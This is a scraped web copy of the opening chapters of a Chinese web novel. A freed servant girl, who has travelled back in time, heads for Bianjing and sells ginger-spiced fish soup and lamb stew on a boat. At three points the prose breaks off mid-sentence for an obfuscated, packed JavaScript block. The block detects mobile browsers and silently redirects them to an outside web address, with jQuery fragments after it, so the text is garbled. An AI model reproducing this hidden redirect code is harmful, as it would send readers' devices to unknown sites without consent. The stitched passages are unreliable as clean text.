《我的小食摊火爆整个汴京(美食)》 1. 返程汴京 “当初买她进来也是瞧她生的百伶百俐,又哭的可怜,要卖身养活一双弟妹,我这才发了善心。” “谁料这荡//妇在我房里伺候几年竟然生了淫心,也敢攀附起三郎来?!” “也是算她命大,昨个儿我叫她跪着,晚间下那么大的雪,竟也没能结果了她,倒叫她讨了傅家二郎的几句好话,叫我不得不卖个人情饶了她。” 寒风呼啸着卷过回廊下的湘帘,朱红漆色的梁柱被白雪朦胧成一片影影绰绰,叫人哈口气都能冻成冰。 但即使是这般寒冷天气,廊角依旧站了名粉面妇人,两眼含恨,满面怒火,口中“小蹄子”、“贼淫//妇”之类的话辱骂不绝。 而伴随着辱骂声,一道清瘦娇弱的身影自雪中缓缓走来。 她看起来十六岁上下光景,穿一身浆洗得发白的衣裙,头上用一张靛蓝碎花头巾裹紧青丝,斜插着一支普通木簪子固定,乌云般的鬓角却依旧落下几缕碎发,垂落在削瘦苍白脸侧,十分清丽可怜。 有往日与她交好的丫头见了,忍不住叹息:“自从三娘子嫁进了咱候家,三郎君房里稍有些姿色的姐姐们都被发落了。本以为金枝姐姐是三娘子从娘家带来的陪嫁,三娘子会顾念着情分,谁知竟也这般狠辣。” “三郎君向来急色,没娶时就常在外养着几个唱的,几夜不归家都是常事。金枝姐姐生的这般好,又几次三番拒绝三郎君收用,三郎君早恼了,放话说要用强的。” “是啊,听说人都给拖进假山洞子底下去了,又叫金枝姐姐死命发狠似地挣脱了。弄得那腕口上全是青紫的伤,回来见着我们就一直哭。” “唉,若是遮掩过去也就算了,偏偏金枝姐姐心眼儿实,就把这事儿与三娘子说了。三娘子心狠善妒,直接把人罚在雪里跪了半夜!” “自打雪夜里冻昏了一回,金枝姐姐好似是给冻伶俐了,醒过来后居然主动去找官府验证为奴期满,要求放回家去。若是留在这府里,指不定还要受什么磋磨呢。” 几人凑在一起议论,看向柳金枝的眼神满是怜悯。 柳金枝自是不知小丫头们的议论,她一路哭着跟着婆子出了府,把婆子都哭的心软,多嘴问了句:“出了府,你哪儿去?” “家去。” “哪个家去?” “舅舅家去,他老人家就在汴京城的南边儿开药材铺子哩。”柳金枝扑簌簌掉着泪珠儿,“今个儿就取船北上,再不回来了。” 婆子惊异:“哟,这么赶?” 然而柳金枝觉得还慢了,自她穿过来后,是一刻都不想在这块儿地方待。 所以她在下人房养病期间,把原主的记忆来来回回筛了个遍,终于确定她现在身处在一个类宋的架空朝代。 整体时代发展偏向于北宋后期,却没有外忧内患。 虽然政治算不上海清河晏,路不拾遗,夜不闭户,但也没有太大的动荡。百姓颇为安居乐业,奴婢制度也有了很大发展。 原来的良贱制度是将奴婢打为贱籍,生死全由主人定夺。 但现在奴婢属于编户齐民,不再属于财物,而是有人格的“人”,是为良人。 而现下流行的雇佣制,也让奴婢类似于现代的保姆,有期限、有报酬。 若想要离开主家,只要能向官府证明自己服务期满,就可以放还归家,连主人也干预不了。 也幸好当年原主自卖为奴的时候还不算完全昏了头,只签了五年奴约。 前几日团圆夜时正好服务期满,所以她才能借着出门买药的空当,跑去官府验明真身,最后成功离开侯府。 “您也知道三娘子的性子,我得罪了她,怎么还敢在这儿待呢?”柳金枝一面抽噎,一面不住地拿眼睃那婆子。 只见婆子眼中闪过一丝挣扎犹豫,道:“唉,你也当真是个可怜人。” 说着,又按按胸前衣兜,迟疑半晌,还是从怀里摸出只茄袋,肉疼地塞给柳金枝。 “里头有大概一贯钱,都是同你交好的那些丫头们凑的,说要与你做盘缠,这下便、便给你罢。” 柳金枝眼中闪过一抹笑意,却又装作抽抽噎噎的模样,小心接过了茄袋。 其实她早知道那些与她交好的丫头给她凑了路费盘缠。 只是她当时卧病在床,又有三娘子的人盯着,所以不好给她,就托这管家婆子帮忙。 柳金枝知道这管家婆子虽贪财,但也不算完全泯灭良心,对她这般遭遇也十分怜悯。 所以她这么做作地哭了一路,硬是哭到这婆子都不好意思昧下这救命钱财,又把茄袋还了回来。 毕竟她多年积攒的体己都寄回汴京舅舅家,帮着抚养弟妹了,现下身无分文,寒酸到连张像样的船票都买不起。 这一千文对她来说犹如救命。 “我这厢多谢您了。” 柳金枝高兴地对婆子道了个万福,又十分懂事地从茄袋里取出三四十文请婆子去买茶吃。 平白得了钱,喜得这婆子重又眉开眼笑,道:“你此去汴京就是快也要大半月才到哩,免不得要在船上吃喝,没个干粮可不行。” “正好婆子我识得几个在粮食铺里管事的伙计,同样的米,却能做主卖你个好价。” “你若是愿意,我现在就替你去置办,再叫个脚夫帮着你一块儿运去渡口,耽误不了多少时间。” 这哪儿有不愿意的,柳金枝忙不迭地点头答应,又取出三百文交给婆子,叫她将干饼、米粮、蔬果并各类调料,诸如砂仁、草果、花椒、桔丝、香油、姜末之类都买些回来,各自用小翁装了,一并交付与脚夫拉到渡口。 彼时半轮血色残阳铺满江面,渡口的人已渐渐多起来,都挤在岸边看船靠岸。 柳金枝倚着石栏望船出神。 从记忆里她知道,原主的父母乃是汴京人士,一家子住在新曹门的小胡同里。 因汴京人格外爱吃莲子,莲子又可入药,汴京莲子供不应求,于是满胡同人都以剥莲子为生。 原主父母手脚格外干净利落,为人也勤恳老实,就被选为工头,替整个胡同的采莲工与酒楼、饭馆还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458075|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药铺老板们恰谈价钱。 多年积攒下来,原主家中日渐殷实,也有四五千贯的家财。 只是好景不长,一场风寒叫原主父母双双病故,只留下原主与一双年幼弟妹。 原主自知势弱,养活不了一双弟妹,便求上舅舅,恳求舅舅、舅母抚养弟妹成人。 为了支付抚养费用,原主将家中旧宅挂牌出租给他乡举子做暂时落脚之地,每月得来的租金都交与舅母为弟妹置办衣物、伙食。 汴京寸土寸金,这些个租金别说是一双弟妹,就是再来一双也养得起。 只是舅舅满脸为难地告诉原主,这些银子还不够,因为弟弟聪颖好学,必然要为他将来科举做打算。 只是延请名师、打点礼房胥吏、买经史子集、笔墨纸砚等都花费不菲。 更别提宋人有厚嫁之风,嫁妆必要丰厚,所以原主还得为妹妹积攒一份数额可观的嫁礼。 原主一个幼女无可奈何,只好忍泪自卖入三娘子的娘家孙府为奴,签下五年活契,将所得的十五两银子都交与舅舅、舅母。 入孙府后,原主惦念家人,不仅日常省吃俭用存下银子,连平常所得的一些赏银、值钱玩意儿都寄去汴京。 舅舅、舅母每次都殷勤回信答应,再三让原主放心。 直到孙府与侯府结亲,三娘子从汴京远嫁至秦淮,原主作为陪嫁丫头也跟着南下,再寄东西回汴京时,舅母回信的次数便少了。 从一年五六封信,逐渐减为三四封。 甚至今年原主就只收到了一封信,还是向原主抱怨汴京物价飞涨,银子越发不够用,话里话外都是让原主再多寄一些银子来。 原主信任舅舅、舅母,一直没有多想,可柳金枝却知道这舅舅、舅母八成也不是什么好人。 当年原主尚在汴京时,他们还勉强装个良善模样,殷勤回信。原主一走,他们就打量着天高皇帝远,开始私下里捣鬼。 柳金枝猜,这些年原主寄回家的银子,并出租房子得来的租金,怕有一大半都不会花在弟妹身上,这两个孩子估计正在汴京受苦,心中对她这个多年未曾相见的长姐怕是也要生出些许怨恨来。 这样一想,柳金枝不由对原主这般坎坷的命运心生同情。 毕竟当年原主不敢抚养弟妹,全是因为担心自己无一技之长,养活不起,反倒要连累弟妹受苦。 而舅舅、舅母哪怕隔着一层,毕竟家中也开了个生药铺,生活稳定,衣食不愁,这才狠心离开。 如今她穿来了,占据了原主的身体,必然是要还原主一个情,替她讨回些公道的。 所以她已打算好,一回汴京,就将弟妹两个接回身边。 好在她前世是非物质文化传承人,不仅潜心研究宋明清三朝菜谱,还拜得御厨手艺传承人做师父,在厨艺方面很是拿手,不怕在遍地是吃货的宋朝没个活路。 “诸位,公验了!” 这时,耳边传来船伙计的大声吆喝,原来是船只已靠岸。 柳金枝便不再多想,上前乘船北上。 2. 姜辣羹 将一应物品搬入船舱后,天光尽收,船外已飘起鹅毛大雪。 在这般时节,河面极易结冰,按常理说,漕运本应暂时关闭,但奈何柳金枝有好运气,赶上南方军器监精心制作了一批弓弩急着要上呈官家过目,遣使了沿河劳工连夜开凿河冰,确保漕运畅通。其余民船无不借这股东风,继续载客北上。 柳金枝坐的这艘船到汴京大概要半个来月,长途颠簸下,选个好船舱就格外重要。 所以她在原票价两百文的基础上又多追加了二十文,央船老大替她挑了个明亮宽敞的单人船舱,舱内床单、枕巾、脸盆、牙香、刷牙、一应俱全。 又因为冬日里天寒手冷,又与了二十文给船上伙计,确保每日都有一壶热水、一篓灰碳以及半支白蜡供应。 这么一算,她茄袋里就只剩了四百六十文。 届时她下了船还要雇用脚夫,想利用厨艺挣钱也得支一个属于自己的小摊儿,再算上买进蔬果、鲜肉、佐料的成本……以汴京的物价,这四百六十文怕是眨眼就花光了,还大概率不够。 而且按照原主所谓的舅舅、舅母两个的性子,也不可能舍银子救济她一把,所以她得在船上寻个活儿干,最好在船未靠岸前先把本钱挣回来。 想着,柳金枝推开舱门找到船伙计,笑道:“小哥,敢问船上可有鲜鱼买卖?” 船伙计认识的人广,无论河面上撑竿子的,还是渡头上摆摊卖货的,他都能说上两句话。 因此一听柳金枝的请求,便笑道:“往日里河面结冰,管家不许咱们开凿河冰,鲜鱼自然没有。但娘子好运气,赶上了今年有大人物邀功,现在这鲜鱼是要多少有多少。” 冬日里鱼儿在水里憋闷,河冰一经凿开,都争先恐后跃出水面透气,使得两岸渔民收获颇丰,价格也比寻常便宜。 最后柳金枝以二十文的价格,买下了三尾五斤左右的新鲜鲈鱼。又找了船伙计借了两只干净木桶,返回船舱取出随身携带的菜刀,就在甲板边杀起鱼来。 在她拜师学厨艺的时候,她师父就叫她从杀鱼练起。 所谓“过于急躁则鱼乱,刀法不当则鱼碎”,她足足杀了半年鱼,最后练到下刀干脆利落。 现下她用左手两指扣住鱼鳃,任凭湿漉漉的鱼尾全力拍打在她的手腕,右手手腕一翻刮上鱼身,细碎鱼鳞顿时如雪片般纷飞落下。 再斜切一刀直入鱼腹,刀尖擦着苦胆抵在鱼骨处,往下一剜,就带出一地鱼泡、鱼肠之类的内脏。 这些她不要,通通拾起来扔进河里喂鱼。 然后再蹲下来杀第二条鱼。 夜间晚风大起来,鱼血腥味儿顺着风势外散,叫坐在临窗口的一名少年抬起眼来,眉心微蹙。 少年眉眼清俊儒雅,着一领方口羊绒衫,外罩一身鸦青色素雅的棉袍子,袍身宽大,袖口略微收紧,腰间系一条玄色镶嵌羊脂玉腰带,利落勒住腰身,显出几分君子端方。 “二郎,外头有位娘子在杀鱼呢。”杏安隔着窗望了一望,“可巧就赶在咱窗口,我去说一声,叫这位娘子罢手了吧。” 就要往外走,又叫少年拦住。 “杏安,罢了。这位娘子已是挑在夜里杀鱼了,是我半夜里睡不着,才撞着这腥味儿。”少年将书本收起,“将窗户关了,咱们也歇息吧,正好我看书也看的累了。” 杏安看少年眼里有些血丝,桌边的干粮也只动了一点,便道: “二郎说要走时,侯府的三郎君再三挽留,奴才见他诚心的很,可二郎就是不肯留下,反而叫奴才去买了最近的船票,要连夜赶回汴京。” “现下船上没个好吃好喝的,公子又吃不上辣,饮食不佳,再熬个半月回京,人都要怕瘦脱相了。何必吃这苦呢?” “父亲叫我应举之前多往各地游历,增长见闻,途径秦淮之时想起来,当年与父亲交好的侯大人正在家中丁忧,因而拜见。”少年脱下外袍,递与杏安,“侯大人供职工部,而今虽贵为侍郎,却也温和谦逊,对我甚为优待。府中几位公子亦是对我礼遇有加,从无不足,只是……” 少年迟疑半晌,似是想说些什么,但思及君子慎独,切勿背后搬弄口舌是非,就道:“罢了,我与他们不是同路人。与其违心留下,不如尽快返程。” 杏安把外袍挂在木施上,道:“我知二郎你是为着侯府里的那个丫头。大雪夜里叫人跪在庭子受冻,满府里头还只有郎君你愿意替她饶情两句,可见府中其他人着实刻薄。但咱走的也太急了,连翁辣脚子都没来得及收呢。” 少年摆摆手示意不必再提,杏安也就住了口,又伺候着少年脱靴上床,吹灭白蜡睡下不提。 眼瞧船上最后一盏灯火都熄灭,柳金枝擦擦额上汗,撤开手,带着鱼块重新回到船舱。 四周万籁俱寂,耳边除却河浪拍岸,就只剩下白蜡烛芯噼里啪啦的声响。 柳金枝借着摇曳烛光,撸起袖子将买来的铁锅架在炉子上。 炉子虽有些老旧,但很耐用,塞上黑炭、打了火石之后,不消半刻就有火苗蹿出来大肆舔着锅底。趁着热,她赶紧倒上一壶温水。 幸好中国历史时间线行至宋朝以后,她那充满智慧的老祖宗们已经捣鼓出了铁锅来取代陶锅。 铁锅导热更快,没等完全入夜,水面就冒出白烟,沿着铁锅边缘往外飘,滚水泡起一个炸开一个。 水已经完全烧开了。 就着滚水,她将洗净的三对鱼头、鱼尾尽数贴锅滑进去。 鲜嫩嫩的鱼肉刹那间被开水烫成乳白色,腥气尽消,伴随着大量水汽蒸起,还隐隐透出一丝河鱼鲜香。 这就是鲈鱼的好处。肉质鲜美细腻却少刺,清蒸、红烧、熬汤样样都行。 所以范仲淹才在《江上渔者》中写“江上往来人,但爱鲈鱼美”来赞美鲈鱼,可见是发自肺腑,情真意切。 只是光有鲜鱼香还不足以满足宋朝人的嘴,因为宋朝人是爱吃辣的,甚至可以说是无辣不欢。 但宋朝没有辣椒,为了吃到辣,宋朝人找出了可以代替辣椒的胡椒,以及一系列可以提供辣味儿的食材—— 葱、姜、蒜、蕌头、辣蓼、茱萸和芥菜。 其他的她虽有一些准备,但姜辣羹还得是用姜末入汤味道更妙。 于是扯开布袋抓出辛辣姜末,大量成片撒进锅去,任凭凶猛的沸水将它们尽数卷入锅底,姜末沉浮之间,满室鱼香中便又破空生出香辣呛人的姜味儿来,直刺激的人口里酸酸,似是分泌了一大堆涎水。 这用鱼头鱼尾和大量姜末熬制成的鱼汤,就是常在宋朝早市里出现的“姜辣羹”,喝一口,姜辣和鱼河鱼鲜香相得益彰,犹得宋朝人喜爱。 只不过鱼汤好得熬得浓稠奶白才好喝,现下还不够浓稠,柳金枝要守火,就抱膝坐在小杌子上,以手撑脸,聚精会神地盯着火光。 却不知炊烟袅袅,沿着大开的窗棂散出去,一时间满船盛盈姜辣鲜鱼香,勾引得船客仿佛梦临早市,饥肠辘辘,又遍地寻不到售卖姜辣羹的摊子,只得急的鼻尖儿冒热汗,真个叫做梦也不安生! 好在半夜小火文炖,到第二日辰时一刻,姜辣羹已彻底成了。 鱼汤香辣扑鼻,色泽呈现天然的奶白色,柳金枝盛了一勺尝尝,入口果然十分醇厚,可见那三尾新鲜鲈鱼的精华都化在里头了。 柳金枝高兴,却感一阵困意袭来,因她昨夜为照顾这羹只睡了不消两盏茶的时间,现下有些撑不住,便将锅盖盖好,自个儿囫囵收拾了一下上床小憩。 她倒不怕耽误买卖,因为宋朝人一日两餐,早上八九点用朝食,下午四五点就用晡食,现下时辰还早着呢。 谁知门口倒传来一阵窸窸窣窣的响动,似是谁在窃窃私语— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458076|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' — “香味儿便是从这位娘子的舱里传出来的。” “嗐,这味道搅扰了我大半夜,我只当是做梦呢,醒来了以后四处寻干粮嚼方知是真的。” …… 一般人出门在外,哪个不是轻便上路?哪怕是宋朝这类经济已高度发达、百姓生活便利的朝代,也避免不了。 所以书生赴京赶考,为了带足干粮,将面团拍扁,中间挖一个洞,再将之脱水晾晒干,挂在书箱旁边,边赶路边吃。 虽然干涩,但起码饱腹。 到后来,这种饼被称之为“环饼”,形状和现代甜甜圈很类似。 也正是因为这种干粮无法满足宋朝人吃货的心,所以当姜辣羹的香味儿四溢,大家为了赶路而被迫压抑已久的味觉终于被重新唤醒了。 “咚咚咚——” 柳金枝从睡梦中迷蒙醒来,犹觉是自个儿幻听。 但舱门被再度叩响:“咚咚咚——” 柳金枝以为是船伙计送每日温水来了,口中一边应:“就来!”,一边起身整理梳洗,去开舱门。 门刚拉开,就见一名着布衣青鞋的年轻书生站在门口,另有几个中年汉子跟在后头。而旁边窗棂下又坐着个戴斗笠、穿蓑衣的老翁。不远处更是立着几名妇人,怀中抱子,不好意思却又略带期望地望向她。 “这是……” 柳金枝迟疑,不由往后一退。 “唐突娘子,不知娘子房里做的是什么?”书生有些不好意思,“我昨个儿夜里就闻着了,闹了半夜的馋鬼儿。好不容易止住了,今早一睁眼却又被香味儿勾住,实在按捺不住,只好腆着一张脸来叩请娘子赏一碗吃。” 柳金枝略一松气,脸上提起笑容:“我做的是姜辣羹,早市里常见,不是什么稀罕物。”说完,她眼珠一转,却又道,“只是这羹是我自个儿做来吃的,怕是与不了郎君太多。” “娘子肯赏一碗已是极好。”书生高兴极了,又从袖子里摸出六文钱递与柳金枝,“我愿按汴京早市的常价购买,娘子请收好。” 见了铜板,柳金枝脸上的笑容顿时又灿烂了几分,赶紧转身推开舱门将姜辣羹倒进干净木桶里提出来,盛了一碗递与那书生。 这姜辣羹刚熬出来,正是鲜香美味的时候。 书生端着碗,迫不及待地迎风埋头深呷一口,碗中浓郁的鲈鱼香和辛姜香顿时被河风散的到处都是。 引得后头的中年汉子、旁边的老翁还有那几个妇人都拥上来,不好意思地笑道: “娘子若是还有剩余,不如也卖与我一碗吃吃吧。” “娘子,我也想要一碗。” “来,这是六文钱,娘子收好。” 柳金枝七手八脚去收钱,心中粗略一算,已有四十八文,买鲈鱼的成本已经回了。 她顿时笑的见牙不见眼,连连盛辣姜羹递出去。 木桶很快见底,周围人得了羹都心满意足地离去。 待到只剩最后一碗时,人已经空了。 柳金枝擦了把额上汗,仰起头看了看日光,正见金乌日渐西移,就快当空而照了。 预估着不会再有人来买羹,柳金枝干脆将这最后一碗收起来,留作自己的朝食。 念及空腹喝羹有些伤胃,她还从随身干粮袋里摸出一只环饼。也不讲究,随意叼在嘴里。左手端羹,右手提桶,预备着回船舱内慢慢享用。 耳边却传来一阵平和稳健的脚步声,似是正有人朝她走来。 有道少年声音响在耳畔,温和平稳: “敢问娘子,还有羹没有?” 以为是随便哪个,柳金枝懒懒掀起眼皮朝来人处一瞥—— 儒雅清俊的少年眼眸似三月湖水,明亮清澈,一身鸦青色袍子,玄色镶嵌羊脂玉腰带勒住腰身,兰枝玉树般负手而立,视线正落在她身上。 3. 山煮羊 一瞬间,柳金枝脑海中闪过一幅画面—— 大雪纷飞的清冷夜里,原主跪在庭中,已是冻得神志不清。 昏昏沉沉之间,却远远瞧见一道雪衣墨发的挺拔身影立在廊下,隔着纷飞寒雪朝她望来。 她艰难地张了张嘴:“救命……” 可声音细弱蚊蝇。 她自知低贱,就如路边的一株草芥,这些高高在上的贵人不会对她有任何一次低眸垂怜,但她仍然想拉着这位陌生郎君的衣角求求他。 “救救我,我不想死……” “阿弟……阿妹……” “……阿姐后悔了……阿姐想回家……” 原主流着泪,发着抖,拼命抱着自己取暖希望活命,却最终没能等来她希求的救助,死在了那场纷飞的夜雪里。 可原主不知道在她死后一刻钟内,就有婆子来拖了她回房,为她灌下活命药汤,口中抱怨着有位身份了不得的郎君不省事,居然胡乱插手别家家务事,明看见三娘子脸都青了,却说什么都要救一个犯错的丫头。 彼时柳金枝才穿过来,艰难睁开眼,只听见那位郎君名唤傅二…… “二郎!” 一道呼喊打断了柳金枝的回忆。 杏安白白胖胖的,迈着小短腿哼哧哼哧朝傅霁景跑来。 虽然喘的上气不接下气,一双圆眼却笑眯成了一条线,得意地说:“二郎,我刚打听知道咱船上有娘子兜售姜辣羹。我拿十文给你买了一碗来!这回你总该肯用朝食了吧。” 柳金枝闻言,笑道:“这位小哥,是奴兜售的这姜辣羹,却只需六文。” 杏安眼睛霎时瞪得圆圆的,不可思议地看向傅霁景:“可是那人说是便宜卖给我的。” 柳金枝倒很少看见有哪位高门子弟的小厮,能这般天真不谙世事了。这必然是主子为人温和,府内风气开明才能养出来的性子。 果然,傅霁景无奈又温和地叹了口气,道:“罢了,只是些许银钱,下次留个心眼儿就是了。” 杏安红着脸点头。 “郎君那碗羹怕是凉了,不如换了这碗吧。”柳金枝趁此机会将自己那碗递送过去,“奴不收您的银钱。” 毕竟如果那天没有傅二郎,哪怕她穿过来也会如同原主一样活活冻死在雪夜里。 这个恩情她自当要报。 但傅霁景表情颇为惊讶,礼貌拒绝了:“娘子不必客气,还是明算账的好。”又说,“杏安,拿六文给这位娘子。” 柳金枝疑惑不解,难不成这傅二郎嫌她报恩的礼太少? “唔……”柳金枝只好忍痛道,“若是郎君吃不惯船上吃食,奴愿为郎君每日做几个汴京小菜。也、也不收郎君的钱。” 她如今一穷二白,一文钱都得掰成两半花,此举已经算很舍得了! 傅霁景却大退两步,偏过头,愈加客气疏离:“多谢娘子厚爱,也不必了。” 柳金枝挑眉,还以为傅霁景出身高门,嘴刁看不上这些市井小菜,却又见傅霁景偏着头,从头到尾没敢正眼瞧过她,只肯把一双眸子垂着,谨慎又小心。 再低头一看,原来她作了一身未出阁娘子的装束,才叫傅霁景不敢抬头,兴许说了这么多,傅霁景压根儿还不知道她是谁。 柳金枝有些好笑,也不瞒着,主动上前一步拜谢:“郎君不必推辞,那晚在侯府多亏郎君帮忙向三娘子饶情,才叫奴活下来。滴水之恩,涌泉相报,更何况是救命的恩情。” 得了解释,傅霁景才打量着朝柳金枝看来,只是眼中仍然有些茫然。 柳金枝便知那夜只有她看清了傅霁景,而傅霁景却并不知自己所救的丫头是美是丑,是胖是瘦。 他救人,仅仅因为对方应该活着。 “正是巧了。”杏安拍掌一笑,“我家二郎爱吃辣,可我们走得急,又没有提前预备着,娘子肯帮忙是再好不过了。” 傅霁景也终于看出柳金枝有些许眼熟,便不再拒绝,叉手朝柳金枝一拜,道:“劳烦娘子。” 柳金枝福身:“郎君客气。” 又想把手中热羹递过去。 但傅霁景摇头笑道:“不必了,冬日里若吃了冷的,需用五脏来暖它。娘子刚经历过一场大雪,正是胃寒的时候,还是用些热的暖身为好。” 言罢,便端着那碗冷掉的姜辣羹离开了。 柳金枝不由一笑。 这位傅二郎虽出身高门,倒是十分的愿意为他人着想。 提桶回舱,就着鲜香姜辣的羹汤吃完了一整个环饼,柳金枝开始琢磨晚间该给傅霁景做什么样的吃食。 她走的着急,手边食材有限。 都说巧妇难为无米之炊,就算她有天大的本领,此时也不知该怎的发挥。 其实她也可以向船伙计买些食材,但船上东西贵,她赚的这些钱财怕是不够。 正苦恼时,舱门被人敲响,她出门一瞧,竟是杏安。 他提了两大袋子食材站在门口,笑嘻嘻地叉手一拜:“我家二郎说起动娘子帮忙心里过意不去,这儿有两袋子食材,娘子可随意取用,若还有什么需要的就告知一声,我们给娘子备下就是。” 柳金枝粗浅一翻,发现素菜有白菜、萝卜、冬笋。肉食有猪肉、鱼肉,甚至还有一块肥瘦相间的羊肉。 因为宋朝畜牧业不发达,所以羊肉价贵,远超牛羊肉,一斤往往能卖到六十到八十文不等,而宋朝老百姓一天却平均只能赚一百文左右,负担不起,因此就出现了“百姓食猪,而权贵吃羊”的现象。 而就算是权贵,也不是每个都能吃上上好的羊肉。 傅霁景却能拿出品相这么好的一块,可见家世与财力都不俗,难怪侯家上下都捧着他,一点儿都不敢得罪。 拜谢了杏安,柳金枝拖着食材回到船舱内,略一思索,便将那块羊肉挑出来平铺在砧板上。 她打算做山煮羊。 名字虽然听起来颇为高大上,但放到现代来说就是“水煮羊肉”。 做法不算难,但鉴于傅霁景爱吃辣,柳金枝打算多加些能调出辣味的配菜。 所以她打开自己的佐料麻袋,取出葱十颗、姜五片、蒜三颗、杏仁二十粒、花椒二十粒,另还有胡椒粉、酱油以及二三十颗大粒儿盐摆放在一边备用。 接下来就是处理羊肉,最重要的一步就是去膻。 如果放到现代,她可以选择无数的方法,最简单的就是将羊肉浸泡在冷水里两到三天,让羊肉肌浆蛋白中的氨类物质浸出,减少膻味儿,但现下时间不够。 其余用茶叶、山楂、咖喱、料酒、孜然等去膻味儿的法子也是各有各的不足。只有用白萝卜去膻味儿的办法最好,毕竟她手边就有材料。 于是将羊肉切成两指宽的方块儿,又用船伙计送来的温水洗去羊肉上的血水,再一块块铺进干净砂锅底。 往里灌温水直至水面漫过羊肉,辅以洗过的小葱切成八段、生姜片出五片、花椒脱水二十粒,尽数铺在显嫩嫩的羊肉表面。 最后将砂锅端起来架在红泥小炉子上起火,柳金枝才从麻袋里取出白萝卜开始洗净切块。 白萝卜是最简单的食材,想做的好吃却不容易,需要下功夫“挑筋”,也就是一根根拔除萝卜块里的经络。 但这挑筋的过程需要快,若是任凭厨子挑一天,再好的萝卜也会因为失去水分而变得干瘪难吃,所以挑筋的厨子需要具备超高的刀工,和不俗的眼力。 好在柳金枝两者具备。 她将萝卜放在手心,借助船窗外射进来的阳光,让萝卜里的奇经八脉变得异常清楚,再用绣花针快速下针挑筋。 一块萝卜,她最多只花费十来个呼吸的时间。 等到把两根萝卜的筋都挑完,那金乌也不过是往西稍移了半寸,炉火才盛,砂锅水面也不过浮起一点油星。 柳金枝对此颇为满意。 很好,虽然穿越了一遭,但刀功、眼力没有半点退步。 她擦了把汗,再次查看炉火,心中计较时辰。 羊肉需久煮才能熬的软烂入味儿,而萝卜煮的太烂反而会失去口感。 两者要持恒,就一定得等到汤面开了再下菜蔬。 眼瞧着时辰还早,她将萝卜放在篮子里盖上纱布,又自去麻袋里寻摸了一小袋小米。 别看现代人的主食都是水稻米,就以为古时候的百姓也人人都有水稻吃。 先秦时期,人们主要吃的是粟、黍、菽,也就是谷子、黄米和大豆。 秦朝往后,才慢慢将主食换成小麦。至于到了占城稻出现,并满足了我国大量百姓果腹之需时,中国历史的时间线竟然已经飞跃至宋朝。 也就是说,现在正是宋朝广泛种植占城稻,南方人口大爆炸的时期,百姓们还在经历用占城稻,代替生活中的粟、黍、菽以及小麦做主食的这一粮食更迭过程。 所以大家身边习惯性带着的粮食还是谷子一类,也就是小米。 小米质硬,不易煮熟,若是在现代,大可以用小米与大米以一定比例混合在一起煮饭,但现下条件有限,柳金枝就打算做一回“金比甲”,也就是“小米黄金焖饭”。 将小米倒入陶罐内加灌清水淘洗,却只用筷子搅拌,而不用手搓,几轮下来,小米里的杂质已漂浮在了水面。 把脏水倒掉,重换上适量清水,端到第二个红泥小火炉上起大火,柳金枝就丢开手去处理菜蔬。 被选出来的是芥菜。 宋人嗜辣,便好吃芥菜,研发出了多种吃法。 若将芥菜的根茎,洗净、去皮、切成条,封在缸子里腌上半个月,便叫作“辣脚子”,如同现代的腌干萝卜,只不过更辣些。若只是粗略腌上一晚,再淋上些鲜醋和小磨油,便叫作辣菜。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458077|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 辣菜可以拌在饭里吃,也可以包入面食里当馅儿,做辣菜饼,更是可以研磨碎了,加醋调味,做成最简易的芥末酱,拿来腌渍黄瓜,吃起来香醋酸味儿直刺激的口腔涎水分泌,又鲜辣脆口,叫人欲罢不能。 柳金枝就预备着用辣菜拌小米焖饭。 于是把几个芥菜疙瘩尽数细细地切开,放入浅口小瓷碗内加拌香醋、小磨油,用纱布闷了在一边慢慢腌制。 做到此处,盛着清水的砂锅冒起了小泡,似是水要滚起来了。 她就擦了擦手,端起洗净的小米尽数倾倒进去。 这是一个煮小米饭的小技巧,水开后倒米,可以避免小米糊在锅底。熬制过程中再偶尔用调羹搅拌,会使得小米被烹煮的更加均匀。 尔后再浇上香油两勺、酸醋三勺、大粒儿盐三颗,盖上砂锅盖,大火转小火继续慢炖。 趁着等待的间隙,又将切好的白萝卜放入山煮羊的汤面。 等到两口砂锅内的香气噗噗放的满舱都是,她打开砂锅盖子一瞧,焖好的小米饭色泽金黄,粒粒饱满分明,又因大火收汁,小火慢炖,米粒将汤汁全都锁在体内,尝上一口,爽口劲道,内里喷香。 柳金枝笑着将小米焖饭盛在一只瓷碗里,再切上几段水汪汪的碧绿小葱与金黄小米粒点缀颜色,与腌制辣菜放在一起,便去看山煮羊。 因为文火细炖,羊肉内里早就被炖化了,所以汤面色泽光亮,呈乳白色,像是加入了牛奶。挑掉筋的萝卜因为吸满了汤汁看起来白嫩嫩的像块玉,大半身子浸泡在羊汤内,和熟透了的羊肉块儿依偎在一起,越发显出晶莹剔透。 